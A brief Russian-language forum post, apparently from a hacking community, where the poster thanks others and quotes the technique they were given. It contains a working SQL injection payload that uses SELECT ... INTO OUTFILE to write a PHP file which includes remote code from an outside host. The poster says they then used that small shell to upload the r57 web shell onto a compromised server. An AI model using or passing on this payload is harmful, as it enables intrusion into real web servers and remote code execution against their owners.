всем спасибо.... я уже догнал Ni0x доходчиво объяснил....
а за это: select '<? @include("http://youfuckingsite.ru/shell.txt"); ?>' into outfile '/home/blalblalba/shell.php';

отдельное спасибо, ато я страдал сначало с маленьким шелом(прямо в запросе SELECT), что б патом тока через него залить r57...